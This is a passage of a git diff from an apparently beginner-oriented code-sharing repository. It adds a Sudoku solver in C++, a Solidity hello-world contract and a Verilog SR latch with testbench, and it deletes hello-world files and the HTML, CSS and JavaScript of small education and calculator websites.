reverseKGroup(current, k); + + return prev; + } + + return head; +} diff --git a/Add Code Here/Rust/hello_world.rs b/Add Code Here/Rust/hello_world.rs deleted file mode 100644 index e7a11a969c0..00000000000 --- a/Add Code Here/Rust/hello_world.rs +++ /dev/null @@ -1,3 +0,0 @@ -fn main() { - println!("Hello, world!"); -} diff --git a/Add Code Here/Sample b/Add Code Here/Sample new file mode 100644 index 00000000000..802992c4220 --- /dev/null +++ b/Add Code Here/Sample @@ -0,0 +1 @@ +Hello world diff --git a/Add Code Here/Solidity/Helloworld.sol b/Add Code Here/Solidity/Helloworld.sol new file mode 100644 index 00000000000..baf1238018c --- /dev/null +++ b/Add Code Here/Solidity/Helloworld.sol @@ -0,0 +1,14 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; +contract HelloWorld { + // A variable of string data type + string word; + //function to set data in variable + function setWord(string memory _word) public { + word = _word; + } + //function to get variable data + function getWord() public view returns(string memory){ + return word; + } +} \ No newline at end of file diff --git a/Add Code Here/Suduko.cpp b/Add Code Here/Suduko.cpp new file mode 100644 index 00000000000..d57415f3f0c --- /dev/null +++ b/Add Code Here/Suduko.cpp @@ -0,0 +1,102 @@ +#include + +// Define the Sudoku grid size +#define N 9 + +// Function to print the Sudoku grid +void printGrid(int grid[N][N]) { + for (int row = 0; row < N; row++) { + for (int col = 0; col < N; col++) { + std::cout << grid[row][col] << " "; + } + std::cout << std::endl; + } +} + +// Function to check if it's safe to place a number in a cell +bool isSafe(int grid[N][N], int row, int col, int num) { + // Check if the number is already in the same row or column + for (int i = 0; i < N; i++) { + if (grid[row][i] == num || grid[i][col] == num) { + return false; + } + } + + // Check if the number is in the same 3x3 subgrid + int startRow = row - row % 3; + int startCol = col - col % 3; + for (int i = 0; i < 3; i++) { + for (int j = 0; j < 3; j++) { + if (grid[i + startRow][j + startCol] == num) { + return false; + } + } + } + + return true; +} + +// Recursive function to solve the Sudoku puzzle +bool solveSudoku(int grid[N][N]) { + int row, col; + + // Find an empty cell + bool foundEmptyCell = false; + for (row = 0; row < N; row++) { + for (col = 0; col < N; col++) { + if (grid[row][col] == 0) { + foundEmptyCell = true; + break; + } + } + if (foundEmptyCell) { + break; + } + } + + // If there are no empty cells, the puzzle is solved + if (!foundEmptyCell) { + return true; + } + + // Try placing numbers 1-9 in the cell + for (int num = 1; num <= 9; num++) { + if (isSafe(grid, row, col, num)) { + grid[row][col] = num; + + // Recursively solve the rest of the puzzle + if (solveSudoku(grid)) { + return true; + } + + // If the current placement doesn't lead to a solution, backtrack + grid[row][col] = 0; + } + } + + // No solution found for this configuration + return false; +} + +int main() { + int grid[N][N] = { + {5, 3, 0, 0, 7, 0, 0, 0, 0}, + {6, 0, 0, 1, 9, 5, 0, 0, 0}, + {0, 9, 8, 0, 0, 0, 0, 6, 0}, + {8, 0, 0, 0, 6, 0, 0, 0, 3}, + {4, 0, 0, 8, 0, 3, 0, 0, 1}, + {7, 0, 0, 0, 2, 0, 0, 0, 6}, + {0, 6, 0, 0, 0, 0, 2, 8, 0}, + {0, 0, 0, 4, 1, 9, 0, 0, 5}, + {0, 0, 0, 0, 8, 0, 0, 7, 9} + }; + + if (solveSudoku(grid)) { + std::cout << "Sudoku solution:\n"; + printGrid(grid); + } else { + std::cout << "No solution exists.\n"; + } + + return 0; +} diff --git a/Add Code Here/TYPESCRIPT/hello_world.ts b/Add Code Here/TYPESCRIPT/hello_world.ts deleted file mode 100644 index 2de62d37137..00000000000 --- a/Add Code Here/TYPESCRIPT/hello_world.ts +++ /dev/null @@ -1,4 +0,0 @@ - - -let message: string = 'Hello, World!'; -console.log(message); diff --git a/Add Code Here/V/hello_world.v b/Add Code Here/V/hello_world.v deleted file mode 100644 index fb964162bb9..00000000000 --- a/Add Code Here/V/hello_world.v +++ /dev/null @@ -1 +0,0 @@ -println('Hello, World!') diff --git a/Add Code Here/Verilog/sr_latch.v b/Add Code Here/Verilog/sr_latch.v new file mode 100644 index 00000000000..90317929995 --- /dev/null +++ b/Add Code Here/Verilog/sr_latch.v @@ -0,0 +1,15 @@ +module sr_latch(output reg Q, output reg Q_bar, input S, R, enable); + always @ (S or R) begin + if(!enable) begin + if (S==1 && R==0) begin + Q <= 1; + Q_bar <= 0; + end + + if (S==0 && R==1) begin + Q <= 0; + Q_bar <= 1; + end + end + end +endmodule \ No newline at end of file diff --git a/Add Code Here/Verilog/testbench_sr_latch.v b/Add Code Here/Verilog/testbench_sr_latch.v new file mode 100644 index 00000000000..89d9dce0b67 --- /dev/null +++ b/Add Code Here/Verilog/testbench_sr_latch.v @@ -0,0 +1,24 @@ +`include "sr_latch.v" +module testbench(); + //inputs + reg t_S, t_R, t_enable; + + //outputs + wire t_Q, t_Q_bar; + + sr_latch S1(t_Q, t_Q_bar, t_S, t_R, t_enable); + parameter stop_time = 80; + initial begin + t_S = 1'b1; t_R = 1'b0; t_enable = 1'b1; + #10 t_S = 1'b0; t_R = 1'b0; t_enable = 1'b1; + #10 t_S = 1'b0; t_R = 1'b1; t_enable = 1'b1; + #10 t_S = 1'b0; t_R = 1'b1; + #10 t_S = 1'b0; t_R = 1'b0; + // #10 $finish; + end + + initial #stop_time $finish; + initial begin + $monitor("time:%2d, E = %b, S = %b R = %b Q = %b Q' = %b", $time, t_enable, t_S, t_R, t_Q, t_Q_bar); + end +endmodule \ No newline at end of file diff --git a/Add Code Here/Websites/Animejs Project/index.html b/Add Code Here/Websites/Animejs Project/index.html deleted file mode 100644 index 5cb44d4f8a8..00000000000 --- a/Add Code Here/Websites/Animejs Project/index.html +++ /dev/null @@ -1,74 +0,0 @@ - - - - - - - - - Document - - -

Design for Grid

- -
-
-
-
-
-
-
-
-
-
-
- -
- - - - - - diff --git a/Add Code Here/Websites/Animejs Project/script.js b/Add Code Here/Websites/Animejs Project/script.js deleted file mode 100644 index 9a561d632b8..00000000000 --- a/Add Code Here/Websites/Animejs Project/script.js +++ /dev/null @@ -1,8 +0,0 @@ -let grids = document.querySelectorAll('div'); -let num =0; - - grids.forEach(grid => { - setTimeout(()=> { - grid.style.backgroundColor = 'blue'; - }, num+=100); - }) \ No newline at end of file diff --git a/Add Code Here/Websites/Animejs Project/style.css b/Add Code Here/Websites/Animejs Project/style.css deleted file mode 100644 index 751f1835372..00000000000 --- a/Add Code Here/Websites/Animejs Project/style.css +++ /dev/null @@ -1,25 +0,0 @@ -body{ - margin: 0px; - height: 100vh; - font-family: 'Montserrat'; - overflow: hidden; -} - -section{ - display: grid; - grid-template-columns: repeat(10,auto); - -} - div{ - background-color: beige; - height: 100vh; - /* margin: 5px; */ -} - -h1{ - position: absolute; - top: 40%; - left: 12%; - opacity: 0; - z-index: 2; -} \ No newline at end of file diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/Annotation 2022-06-15 073005.png b/Add Code Here/Websites/Best Online Study Platfrom Frontend/Annotation 2022-06-15 073005.png deleted file mode 100644 index 93237d1cb10..00000000000 Binary files a/Add Code Here/Websites/Best Online Study Platfrom Frontend/Annotation 2022-06-15 073005.png and /dev/null differ diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/Annotation 2022-06-15 074416.png b/Add Code Here/Websites/Best Online Study Platfrom Frontend/Annotation 2022-06-15 074416.png deleted file mode 100644 index 9aab77b2f0a..00000000000 Binary files a/Add Code Here/Websites/Best Online Study Platfrom Frontend/Annotation 2022-06-15 074416.png and /dev/null differ diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/aaron-burden-QJDzYT_K8Xg-unsplash.jpg b/Add Code Here/Websites/Best Online Study Platfrom Frontend/aaron-burden-QJDzYT_K8Xg-unsplash.jpg deleted file mode 100644 index 9841c2a6507..00000000000 Binary files a/Add Code Here/Websites/Best Online Study Platfrom Frontend/aaron-burden-QJDzYT_K8Xg-unsplash.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/annie-spratt-_dAnK9GJvdY-unsplash.jpg b/Add Code Here/Websites/Best Online Study Platfrom Frontend/annie-spratt-_dAnK9GJvdY-unsplash.jpg deleted file mode 100644 index df42a4e0bf5..00000000000 Binary files a/Add Code Here/Websites/Best Online Study Platfrom Frontend/annie-spratt-_dAnK9GJvdY-unsplash.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/freddie-marriage-vSchPA-YA_A-unsplash.jpg b/Add Code Here/Websites/Best Online Study Platfrom Frontend/freddie-marriage-vSchPA-YA_A-unsplash.jpg deleted file mode 100644 index aa900445be0..00000000000 Binary files a/Add Code Here/Websites/Best Online Study Platfrom Frontend/freddie-marriage-vSchPA-YA_A-unsplash.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/google-logo-9808.png b/Add Code Here/Websites/Best Online Study Platfrom Frontend/google-logo-9808.png deleted file mode 100644 index c5103c54244..00000000000 Binary files a/Add Code Here/Websites/Best Online Study Platfrom Frontend/google-logo-9808.png and /dev/null differ diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/icons8-hp-48.png b/Add Code Here/Websites/Best Online Study Platfrom Frontend/icons8-hp-48.png deleted file mode 100644 index f0531aa3e05..00000000000 Binary files a/Add Code Here/Websites/Best Online Study Platfrom Frontend/icons8-hp-48.png and /dev/null differ diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/jason-goodman-6awfTPLGaCE-unsplash.jpg b/Add Code Here/Websites/Best Online Study Platfrom Frontend/jason-goodman-6awfTPLGaCE-unsplash.jpg deleted file mode 100644 index b2f4a2d652e..00000000000 Binary files a/Add Code Here/Websites/Best Online Study Platfrom Frontend/jason-goodman-6awfTPLGaCE-unsplash.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/microsoft-logo-png-2396.png b/Add Code Here/Websites/Best Online Study Platfrom Frontend/microsoft-logo-png-2396.png deleted file mode 100644 index 352025f4bab..00000000000 Binary files a/Add Code Here/Websites/Best Online Study Platfrom Frontend/microsoft-logo-png-2396.png and /dev/null differ diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/png-apple-logo-9711.png b/Add Code Here/Websites/Best Online Study Platfrom Frontend/png-apple-logo-9711.png deleted file mode 100644 index 7c5fd14f39e..00000000000 Binary files a/Add Code Here/Websites/Best Online Study Platfrom Frontend/png-apple-logo-9711.png and /dev/null differ diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/priscilla-du-preez-XkKCui44iM0-unsplash.jpg b/Add Code Here/Websites/Best Online Study Platfrom Frontend/priscilla-du-preez-XkKCui44iM0-unsplash.jpg deleted file mode 100644 index 0774795fca0..00000000000 Binary files a/Add Code Here/Websites/Best Online Study Platfrom Frontend/priscilla-du-preez-XkKCui44iM0-unsplash.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/project_html_css.html b/Add Code Here/Websites/Best Online Study Platfrom Frontend/project_html_css.html deleted file mode 100644 index 9454232cb40..00000000000 --- a/Add Code Here/Websites/Best Online Study Platfrom Frontend/project_html_css.html +++ /dev/null @@ -1,115 +0,0 @@ - - - - - - - - Best Online Study Platform in India| Onlinestudy.com - - - - - - -
-

Welcome to Onlinestudy

-

Lorem ipsum dolor sit amet consectetur adipisicing elit. Sit, ipsum voluptatem explicabo aspernatur obcaecati - maiores debitis modi eveniet!

-

Lorem ipsum dolor sit amet consectetur adipisicing elit. Sit, ipsum voluptatem explicabo aspernatur obcaecati - maiores debitis modi eveniet!

- -
-
-

Our Services

-
-
- -

Huge Library

-

Lorem ipsum dolor sit, amet consectetur adipisicing elit. Quidem, culpa suscipit error - Lorem ipsum dolor sit, amet consectetur adipisicing elit. Et qui, repudiandae similique nam, - recusandae quidem ab asperiores ex, aut fugit labore veritatis facere?sint delectus ab dolorum nam. - Debitis facere, incidunt voluptates eos, mollitia voluptatem iste sunt - voluptas beatae facilis labore, omnis sint quae eum.

-
-
- -

Notes and Books

-

Lorem ipsum dolor sit, amet consectetur adipisicing elit. Quidem, culpa suscipit error - Lorem ipsum dolor sit, amet consectetur adipisicing elit. Et qui, repudiandae similique nam, - recusandae quidem ab asperiores ex, aut fugit labore veritatis facere?sint delectus ab dolorum nam. - Debitis facere, incidunt voluptates eos, mollitia voluptatem iste sunt - voluptas beatae facilis labore, omnis sint quae eum.

-
- -
-
-
-

Our Clients

-
-
- Our Clients -
-
- Our Clients -
-
- Our Clients -
-
- Our Clients -
-
-
-
-

Contact Us

-
-
-
- - -
-
- - -
-
- - -
-
- - -
-
-
-
-
-
- Copyright © www.myOnlineStudy.com. All rights reserved! -
-
- - - \ No newline at end of file diff --git a/Add Code Here/Websites/Best Online Study Platfrom Frontend/raman_logo.jpg b/Add Code Here/Websites/Best Online Study Platfrom Frontend/raman_logo.jpg deleted file mode 100644 index 14a4d885527..00000000000 Binary files a/Add Code Here/Websites/Best Online Study Platfrom Frontend/raman_logo.jpg and /dev/null differ diff --git a/Add Code Here/Websites/Binary_Calculator/index.css b/Add Code Here/Websites/Binary_Calculator/index.css deleted file mode 100644 index be37693a6a6..00000000000 --- a/Add Code Here/Websites/Binary_Calculator/index.css +++ /dev/null @@ -1,70 +0,0 @@ -#res{ - margin:auto; - background-color:lightgray; - border:solid; - height:48px; - width:250px; - font-size:22.5px; - } - #btn0, #btn1{ - background-color:lightgreen; - color:brown; - margin-bottom:2.5px; - margin-top:2.5px; - } - #btnClr, #btnEql{ - background-color:darkgreen; - color:silver; - } - #btnSum, #btnSub, #btnMul, #btnDiv{ - background-color:black; - color:#e6e6e6; - } - .butt{ - width:61px;; - height:36px; - font-size:18px; - margin:0px; - - } #btns{ - text-align:center; - } - body{ - background-color:gray; - animation-name:back; - animation-duration:30s; - animation-iteration-count:infinite; - } - @keyframes back{ - 0%{ - background-color:#e580ff; - } - 10%{ - background-color:#df80ff; - } - 20%{ - background-color:#d580ff; - } - 30%{ - background-color:#bf80ff; - } - 40%{ - background-color:#8080ff; - }50%{ - background-color:#80ffff; - } 60%{ - background-color:#80ffbf; - } 70%{ - background-color:#80ffaa; - } 80%{ - background-color:#80ff80; - }90%{ - background-color:#80ffbf; - } 100%{ - background-color:#80ffdf; - } - } h3{ - text-align:center; - font-size:35px; - color:#394d00; - } \ No newline at end of file diff --git a/Add Code Here/Websites/Binary_Calculator/index.html b/Add Code Here/Websites/Binary_Calculator/index.html deleted file mode 100644 index 6a07cdd7708..00000000000 --- a/Add Code Here/Websites/Binary_Calculator/index.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - - - - Binary Calculator -

Binary Calculator

- -
-
- - - - -
- - - -
- - diff --git a/Add Code Here/Websites/Binary_Calculator/index.js b/Add Code Here/Websites/Binary_Calculator/index.js deleted file mode 100644 index c698a304f01..00000000000 --- a/Add Code Here/Websites/Binary_Calculator/index.js +++ /dev/null @@ -1,40 +0,0 @@ -var val1='',val2='',sign=''; -function add10(val){ - if(sign) - val2+=val; - else{ - val1+=val; - } - ans(); -} - function clearit(){ - val1="";val2="";sign=''; - ans(); - } - function equal(){ - val1=parseInt(val1,2); - val2=parseInt(val2,2); - if(sign=='+'){ - val1+=val2; - } - else if(sign=='-'){ - val1-=val2; - } - else if(sign=='*'){ - val1*=val2; - } - else if(sign=='/'){ - if(val2) - val1/=val2; - } - val1=parseInt(val1).toString(2); - val2=sign=''; - ans(); - } - function opera(value){ - sign=value; - ans(); - } - function ans(){ - res.innerHTML= val1 +sign +val2; - } \ No newline at end of file diff --git a/Add Code Here/Websites/Brain Aspire Website/about.html b/Add Code Here/Websites/Brain Aspire Website/about.html deleted file mode 100644 index d5266a6d069..00000000000 --- a/Add Code Here/Websites/Brain Aspire Website/about.html +++ /dev/null @@ -1,402 +0,0 @@ - - - - - - - About - - - - - - - - - - - - - - - -
- - - - - -
-
- -
- -
- - - - - - - - - - - - - -
- -
- -
- -
-

we have best courses for you

-

Lorem ipsum dolor sit amet consectetur adipisicing elit. Quisquam hic magnam fugit exercitationem neque, quae laboriosam natus. Ut maxime assumenda facere ea quasi accusamus dolores delectus tempora animi, expedita iste.

-
-
- -

350+

- courses -
-
- -

1200+

- students -
-
- -

10+

- awards -
-
-
- -
- - - - - -
- -

Expert Faculties

- -
- -
- -
-
- - -
-
-

SIDHARTH SINGH

- - Maths Lead -
-
- -
-
- - -
-
-

Rishabh Bagaria

- Physics Lead -
-
- -
-
- - -
-
-

Subhadip De

- Chemistry Lead -
-
- -
-
- - -
-
-

john deo

- expert tutor -
-
- -
-
- - -
-
-

john deo

- expert tutor -
-
- -
-
- - -
-
-

john deo

- expert tutor -
-
- -
- -
- -
- - - - - -
- -

Our Students Review

- -
- -
- -
-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Enim animi atque numquam harum libero nemo, eligendi laboriosam beatae quo iure corrupti, neque rerum possimus non nisi quia! Cumque, tempora sit.

- -

john deo

-
- - - - - -
-
- -
-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Enim animi atque numquam harum libero nemo, eligendi laboriosam beatae quo iure corrupti, neque rerum possimus non nisi quia! Cumque, tempora sit.

- -

john deo

-
- - - - - -
-
- -
-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Enim animi atque numquam harum libero nemo, eligendi laboriosam beatae quo iure corrupti, neque rerum possimus non nisi quia! Cumque, tempora sit.

- -

john deo

-
- - - - - -
-
- -
-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Enim animi atque numquam harum libero nemo, eligendi laboriosam beatae quo iure corrupti, neque rerum possimus non nisi quia! Cumque, tempora sit.

- -

john deo

-
- - - - - -
-
- -
-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Enim animi atque numquam harum libero nemo, eligendi laboriosam beatae quo iure corrupti, neque rerum possimus non nisi quia! Cumque, tempora sit.

- -

john deo

-
- - - - - -
-
- -
-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Enim animi atque numquam harum libero nemo, eligendi laboriosam beatae quo iure corrupti, neque rerum possimus non nisi quia! Cumque, tempora sit.

- -

john deo

-
- - - - - -
-
- -
- -
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/Websites/Brain Aspire Website/contact.html b/Add Code Here/Websites/Brain Aspire Website/contact.html deleted file mode 100644 index b0f7c7b1635..00000000000 --- a/Add Code Here/Websites/Brain Aspire Website/contact.html +++ /dev/null @@ -1,301 +0,0 @@ - - - - - - - Contact - - - - - - - - - - - - - - - -
- - - - - -
-
- -
- -
- - - - - - - - - - - - - -
- -

get in touch

- -
- -
- -

Opening hours :

-

7 AM to 11 PM

-
- -
- -

phone :

-

+123-456-7890

-

+111-222-3333

-
- -
- -

email :

-

brainaspire@gmail.com

-

edsubham@gmail.com

-
- -
- -

Address :

-

KOLKATA, INDIA - 712235

-
- -
- -
- -
- -
- -
-

Send us a message

- - - - - -
- -
- -
- - - - - -
- -

Frequently asked questions

- -
- -
-
-

How to contact for help?

- -
-

- Contact Siddharth Singh(9999999999) For any queries. -

-
- -
-
-

What is the best career in 2022?

- -
-

- U will be Guided by Us to purse the best choice From our Experience -

-
- -
-
-

How much fees ?

- -
-

- Our Fees for Courses Vary from Course to course Ranging from rs 499/- to 2999/- -

-
- -
-
-

Can I choose my own tutor?

- -
-

- Ofcourse . U will always have an option to chose your faculty. -

-
- -
-
-

What payment methods are availabe?

- -
-

- Applicants can pay VIA ONLINE netbanking , Cash . -

-
- -
-
-

Can I have free trial for a month?

- -
-

- Yes , you will be eligible for free Trial classes for a month. -

-
- -
- -
- - - - - -
-
-
-
-
-
-
-
-
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/Websites/Brain Aspire Website/courses.html b/Add Code Here/Websites/Brain Aspire Website/courses.html deleted file mode 100644 index 1dcd896f3e5..00000000000 --- a/Add Code Here/Websites/Brain Aspire Website/courses.html +++ /dev/null @@ -1,315 +0,0 @@ - - - - - - - Courses - - - - - - - - - - - - - - - -
- - - - - -
-
- -
- -
- - - - - - - - - - - -
- -

Our Famous Courses

- -
- -
-
- -

development

-
-
-

choose what's best for you!

-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Eaque, odit!

- read more -
- 12 modules - 6 hours -
-
-
- -
-
- -

engineering

-
-
-

choose what's best for you!

-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Eaque, odit!

- read more -
- 12 modules - 6 hours -
-
-
- -
-
- -

mathemetics

-
-
-

choose what's best for you!

-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Eaque, odit!

- read more -
- 12 modules - 6 hours -
-
-
- -
-
- -

doctor

-
-
-

choose what's best for you!

-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Eaque, odit!

- read more -
- 12 modules - 6 hours -
-
-
- -
-
- -

science

-
-
-

choose what's best for you!

-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Eaque, odit!

- read more -
- 12 modules - 6 hours -
-
-
- -
-
- -

business

-
-
-

choose what's best for you!

-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Eaque, odit!

- read more -
- 12 modules - 6 hours -
-
-
- -
-
- -

teaching

-
-
-

choose what's best for you!

-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Eaque, odit!

- read more -
- 12 modules - 6 hours -
-
-
- -
-
- -

designing

-
-
-

choose what's best for you!

-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Eaque, odit!

- read more -
- 12 modules - 6 hours -
-
-
- -
-
- -

dancing

-
-
-

choose what's best for you!

-

Lorem ipsum, dolor sit amet consectetur adipisicing elit. Eaque, odit!

- read more -
- 12 modules - 6 hours -
-
-
- -
- -
Load more
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/Add Code Here/Websites/Brain Aspire Website/css/style.css b/Add Code Here/Websites/Brain Aspire Website/css/style.css deleted file mode 100644 index 0785aa3019a..00000000000 --- a/Add Code Here/Websites/Brain Aspire Website/css/style.css +++ /dev/null @@ -1,1050 +0,0 @@ -@import url("https://fonts.googleapis.com/css2?family=Nunito:wght@200;300;400;500;600&display=swap"); -* { - font-family: 'Nunito', sans-serif; - margin: 0; - padding: 0; - -webkit-box-sizing: border-box; - box-sizing: border-box; - outline: none; - border: none; - text-decoration: none; - -webkit-transition: all .2s linear; - transition: all .2s linear; -} - -img { - -webkit-user-select: none; - -moz-user-select: none; - -ms-user-select: none; - user-select: none; -} - -html { - font-size: 62.5%; - overflow-x: hidden; -} - -html::-webkit-scrollbar { - width: 1rem; -} - -html::-webkit-scrollbar-track { - background: transparent; -} - -html::-webkit-scrollbar-thumb { - background: #fe0a0e; -} - -section { - padding: 5rem 10%; -} - -.heading-link { - text-align: center; - background: url(../images/heading-bg.jpg) no-repeat; - background-size: cover; - background-position: center; -} - -.heading-link h3 { - font-size: 4rem; - text-transform: capitalize; - color: #444; -} - -.heading-link p { - font-size: 2rem; - line-height: 2; - color: #777; -} - -.heading-link p a { - color: #4ee8de; -} - -.heading-link p a:hover { - text-decoration: underline; -} - -.heading { - text-align: center; - margin-bottom: 3rem; - font-size: 3.5rem; - text-transform: capitalize; - color: #444; -} - -.btn { - display: inline-block; - margin-top: 1rem; - padding: 1rem 3rem; - font-size: 1.8rem; - border: 0.1rem solid #e62424; - background: #defafa; - color: #392905; - cursor: pointer; - text-transform: capitalize; -} - -.btn:hover { - background: #0d0d01; - color: #fff; -} - -.header { - position: -webkit-sticky; - position: sticky; - top: 0; - left: 0; - right: 0; - background: #fff; - -webkit-box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.1); - box-shadow: 0 0.5rem 1rem rgba(0, 0, 0, 0.1); - padding: 2rem 10%; - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -webkit-box-align: center; - -ms-flex-align: center; - align-items: center; - z-index: 1000; -} - -.header .logo { - margin-right: auto; - font-size: 2.5rem; - text-transform: capitalize; - color: #444; - font-weight: bolder; -} - -.header .logo i { - color: #ffda47; -} - -.header .navbar { - position: relative; -} - -.header .navbar #close-navbar { - position: absolute; - top: 1.5rem; - right: 2rem; - font-size: 4rem; - cursor: pointer; - color: #444; - display: none; -} - -.header .navbar #close-navbar:hover { - -webkit-transform: rotate(90deg); - transform: rotate(90deg); -} - -.header .navbar a { - margin-right: 2rem; - font-size: 2rem; - text-transform: capitalize; - color: #444; -} - -.header .navbar a:hover { - color: #5112e5; -} - -.header .icons div { - cursor: pointer; - font-size: 2.5rem; - color: #444; - margin-left: 1.5rem; -} - -.header .icons div:hover { - color: #2199d9; -} - -.header #menu-btn { - display: none; -} - -.account-form { - position: fixed; - top: 0; - right: -105%; - width: 35rem; - - background: rgb(171, 192, 242); - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -webkit-box-orient: vertical; - -webkit-box-direction: normal; - -ms-flex-flow: column; - flex-flow: column; - gap: 2rem; - -webkit-box-pack: center; - -ms-flex-pack: center; - justify-content: center; - height: 100%; - z-index: 1200; - padding: 2rem; - text-align: center; -} - -.account-form.active { - right: 0; - -webkit-box-shadow: 0 0 0 100vw rgba(0, 0, 0, 0.8); - box-shadow: 0 0 0 100vw rgba(0, 0, 0, 0.8); -} - -.account-form #close-form { - position: absolute; - top: 1.5rem; - right: 2.5rem; - font-size: 4rem; - cursor: pointer; - color: #444; -} - -.account-form #close-form:hover { - -webkit-transform: rotate(90deg); - transform: rotate(90deg); -} - -.account-form form { - border: 0.1rem solid #161001; - padding: 2rem; - display: none; -} - -.account-form form.active { - display: block; -} - -.account-form form h3 { - font-size: 2.5rem; - text-transform: capitalize; - color: rgb(25, 2, 2); - padding-bottom: .5rem; - text-transform: uppercase; -} - -.account-form form .box { - width: 100%; - padding: 1.2rem 1.4rem; - border: 0.1rem solid #d85a77; - font-size: 1.6rem; - margin: .7rem 0; -} - -.account-form form .flex { - padding: 1rem 0; - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -webkit-box-align: center; - -ms-flex-align: center; - align-items: center; - gap: .5rem; -} - -.account-form form .flex label { - font-size: 1.5rem; - color: rgb(23, 21, 21); - cursor: pointer; -} - -.account-form form .flex a { - font-size: 1.5rem; - color: rgb(18, 14, 229); - margin-left: auto; -} - -.account-form form .flex a:hover { - text-decoration: underline; - color: #ea1030; -} - -.account-form form .btn { - width: 100%; -} - -.account-form .buttons .btn { - margin: 0 .5rem; -} - -.account-form .buttons .btn.active { - background: #f4d616; - color: rgb(26, 23, 23); -} - -.home { - padding: 0; -} - -.home .slide { - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -webkit-box-align: center; - -ms-flex-align: center; - align-items: center; - height: 60rem; - background-size: cover !important; - background-position: center !important; -} - -.home .slide .content { - width: 50rem; -} - -.home .slide .content h3 { - font-size: 5rem; - text-transform: capitalize; - color: #444; - color: #fff; -} - -.home .slide .content p { - font-size: 1.6rem; - line-height: 2; - color: rgb(40, 34, 34); - color: #eee; - padding: 1rem 0; -} - -.swiper-pagination-bullet-active { - background: #07f485; -} - -.subjects .box-container { - display: -ms-grid; - display: grid; - -ms-grid-columns: (minmax(16rem, 1fr))[auto-fit]; - grid-template-columns: repeat(auto-fit, minmax(16rem, 1fr)); - gap: 2rem; -} - -.subjects .box-container .box { - padding: 3rem 2rem; - text-align: center; - border: 0.1rem solid #02171e; - background: #e5f3ef; - cursor: pointer; -} - -.subjects .box-container .box:hover { - background: #420973; -} - -.subjects .box-container .box:hover h3 { - color: #fff; -} - -.subjects .box-container .box:hover p { - color: #eee; -} - -.subjects .box-container .box img { - height: 10rem; - margin-bottom: .7rem; -} - -.subjects .box-container .box h3 { - font-size: 1.7rem; - text-transform: capitalize; - color: #444; - padding: .5rem 0; -} - -.subjects .box-container .box p { - font-size: 1.5rem; - line-height: 2; - color: #777; -} - -.home-courses .slide { - text-align: center; - position: relative; - background: #f0fdfa; - overflow: hidden; -} - -.home-courses .slide:hover .content { - bottom: 0; -} - -.home-courses .slide .image { - padding: 2rem; -} - -.home-courses .slide .image img { - width: 100%; - margin-bottom: 1.5rem; -} - -.home-courses .slide .image h3 { - font-size: 2rem; - text-transform: capitalize; - color: #444; -} - -.home-courses .slide .content { - position: absolute; - bottom: -100%; - right: 0; - left: 0; - background: #2e0772; - padding: 2rem 3rem; -} - -.home-courses .slide .content h3 { - font-size: 2rem; - text-transform: capitalize; - color: #444; - color: #fff; -} - -.home-courses .slide .content p { - padding: 1rem 0; - font-size: 1.5rem; - line-height: 2; - color: #777; - color: #eee; -} - -.home-courses .slide .content .btn:hover { - background: #444; -} - -.about { - display: -webkit-box; - display: -ms-flexbox; - display: flex; - -webkit-box-align: center; - -ms-flex-align: center; - align-items: center; - -ms-flex-wrap: wrap; - flex-wrap: wrap; - gap: 3rem; -} - -.about .image { - -webkit-box-flex: 1; - -ms-flex: 1 1 40rem; - flex: 1 1 40rem; -} - -.about .image img { - width: 100%; -} - -.about .content { - -webkit-box-flex: 1; - -ms-flex: 1 1 40rem; - flex: 1 1 40rem; -} - -.about .content .about-title { - font-size: 3rem; - text-transform: capitalize; - color: #444; -} - -.about .content p { - font-size: 1.5rem; - line-height: 2; - color: #777; - padding: 1rem 0; -} - -.about .content .icons-container { - margin-top: 1rem; - display: -ms-grid; - display: grid; - -ms-grid-columns: (minmax(16rem, 1fr))[auto-fit]; - grid-template-columns: repeat(auto-fit, minmax(16rem, 1fr)); - gap: 2rem; -} - -.about .content .icons-container .icons { - text-align: center; - border: 0.1rem solid #b5190e; - background: #f0fdfa; - padding: 3rem 2rem; -} - -.about .content .icons-container .icons img { - height: 5rem; - margin-bottom: .5rem; -} - -.about .content .icons-container .icons h3 { - padding: .5rem 0; - font-size: 3rem; - text-transform: capitalize; - color: #444; -} - -.about .content .icons-container .icons span { - font-size: 1.5rem; - line-height: 2; - color: #777; -} - -.teachers 